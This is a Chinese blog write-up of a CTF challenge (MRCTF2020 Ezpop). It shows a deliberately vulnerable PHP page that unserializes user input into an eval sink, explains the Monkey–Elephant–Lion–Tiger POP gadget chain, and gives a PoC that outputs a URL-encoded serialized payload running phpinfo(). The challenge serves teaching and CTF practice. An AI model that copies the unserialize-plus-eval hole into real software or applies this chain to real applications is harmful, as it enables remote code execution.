记一道ctf的反序列化POP链构造

<?php
class Tiger{
    public $string;
    protected $var;
    public function __toString(){
        return $this->string;
    }
    public function boss($value){
        @eval($value);
    }
    public function __invoke(){
        $this->boss($this->var);
    }
}
​
class Lion{
    public $tail;
    public function __construct(){
        $this->tail = array();
    }
    public function __get($value){
        $function = $this->tail;
        return $function();
    }
}
​
​
class Monkey{
    public $head;
    public $hand;
    public function __construct($here="Zoo"){
        $this->head = $here;
        echo "Welcome to ".$this->head."<br>";
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->head)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
​
class Elephant{
    public $nose;
    public $nice;
    public function __construct($nice="nice"){
        $this->nice = $nice;
        echo $nice;
    }
    public function __toString(){
        return $this->nice->nose;
    }
}
​
if(isset($_GET['zoo'])){
    @unserialize($_GET['zoo']);
}
else{
    $a = new Monkey;
    echo "hint in hint.php!";
}
?>

一看是反序列化,找切入点

只有Monkey中有wakeup函数,所以以Monkey类作为切入点

确定$this->head

当我们传入一个序列化的monkey对象,反序列化时首先触发wakeup中的preg_match,preg_match函数会将第二个参数当作字符串来对待,所以当$this->head为一个对象的时候,就会触发相应对象的tostring方法

__tostring() 当对象被当作字符串对待是会被自动调用

比如 echo object

现在有两个对象有tostring方法,分别是Elephant和Tiger,选择哪个呢,我们的目的是进入boss函数执行命令,可以看到Tiger的tostring方法只是返回一个变量没啥用,所以就选择让$this->head = new Elephant();

此时就会执行$this->nice->nose;

确定$nice

我们目的是一步步逼近boss函数

__get()魔法方法,什么时候会被调用

  1. 访问类中的私有属性时(private)

  2. 访问类中不存在的属性时

https://jingyan.baidu.com/article/e5c39bf515393539d76033ce.html

如果让$nice = new Lion()

那么此时$this->nice->nose;就相当于$Elephant->new Lion()->nose

我们可以看到lion对象是没有nose属性的,所以当要访问lion的nose属性时就会调用__get方法

所以尝试让$nice = new Lion(),因为这样就可以跳转执行Lion的__get方法了

此时就会执行$function = $this->tail; return $function();

确定$tail

我们目的是一步步逼近boss函数

__invoke()魔法方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

比如

$a =new Tiger();

$a(); //这个时候就会调用__invoke()

我们可以让$tail=new Tiger(),这个时候$function就是Tiger对象

下一步对象被当做函数来执行就会调用Tiger对象的invoke方法

此时就会执行$this->boss($this->var);

确定$var

可以看到boss函数就是执行$this->var

那么我们就让$var = 'phpinfo;'

总结大概就是这样

head= new elephant
       nice = new lion
             tail = new tiger
                    var = phpinfo()

构造poc

<?php
	class Monkey{
		public $head;
		public $hand;

		function __construct(){
			$this -> head = new Elephant();
		}
	}

	class Elephant{
		public $nose;
		public $nice;

		function __construct(){
			$this -> nice = new Lion();
		}
	}

	class Lion{
		public $tail;

		function __construct(){
			$this -> tail = new Tiger();
		}
	}

	class Tiger{
		public $string;
		protected $var = 'phpinfo();';
	}


	$a = new Monkey();
	$b = urlencode(serialize($a));//urlencode是为了让%00打印出来,$b=O%3A6%3A"Monkey"%3A2%3A{s%3A4%3A"head"%3BO%3A8%3A"Elephant"%3A2%3A{s%3A4%3A"nose"%3BN%3Bs%3A4%3A"nice"%3BO%3A4%3A"Lion"%3A1%3A{s%3A4%3A"tail"%3BO%3A5%3A"Tiger"%3A2%3A{s%3A6%3A"string"%3BN%3Bs%3A6%3A"%00*%00var"%3Bs%3A10%3A"phpinfo()%3B"%3B}}}s%3A4%3A"hand"%3BN%3B}
	print "$b";

$a如下图所示

参考

【ctf-web】php反序列化之构造pop链 | MRCTF2020-Ezpop_哔哩哔哩_bilibili

  • 5
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值